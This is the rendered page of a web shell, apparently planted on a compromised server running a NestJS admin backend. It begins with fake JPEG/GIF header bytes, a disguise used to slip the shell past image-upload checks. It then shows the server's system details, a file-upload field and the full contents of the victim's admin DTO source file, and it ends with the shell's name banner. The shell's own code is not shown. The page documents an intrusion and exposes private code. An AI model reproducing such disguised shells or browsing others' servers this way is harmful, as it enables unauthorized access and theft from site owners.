ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/admin/dto/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/admin/dto/admin.dto.ts

import { IsString, IsNotEmpty, IsEmail, Matches, MinLength ,IsEnum,IsOptional, IsNumber, isNotEmpty} from 'class-validator'
import { ApiProperty } from '@nestjs/swagger';


export class CreateAdminDto {
    @ApiProperty()
    @IsString()
    @IsNotEmpty()
    name: string;

    @ApiProperty()
    @IsString()
    phone: string;

    @ApiProperty()
    @IsString()
    email: string;

    @IsString()
    @ApiProperty()
    password: string;

    @ApiProperty()
    @IsNumber()
    @IsNotEmpty()
    roleId: number;
}
 
export class Data{
    @ApiProperty()
    @IsString()
    @IsNotEmpty()
    name: string;

}

export class LoginAdminDto{

    @IsString()
    @ApiProperty()
    email: string;

    @IsString()
    @ApiProperty()
    password: string;

}

export class RefreshTokenDto {
    @ApiProperty()
    @IsNotEmpty()
    refresh_token: string;
  
    
  }






export class UpdateAdminDto{

    @IsNotEmpty()
    @ApiProperty()
    @IsNumber()
    id:number

    @ApiProperty()
    @IsOptional()
    @IsString()
    name: string;

    @Matches(/^(\+\d{1,2}\s?)?\(?\d{3}\)?[\s.-]?\d{3}[\s.-]?\d{4}$/,{message:"phone number must be valid"})
    @ApiProperty()
    @IsOptional()
    phone: string;

    @IsOptional()
    @ApiProperty()
    @IsString()
    email: string;

    @ApiProperty()
    @IsOptional()
    @IsNumber()
    roleId: number;



}



xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST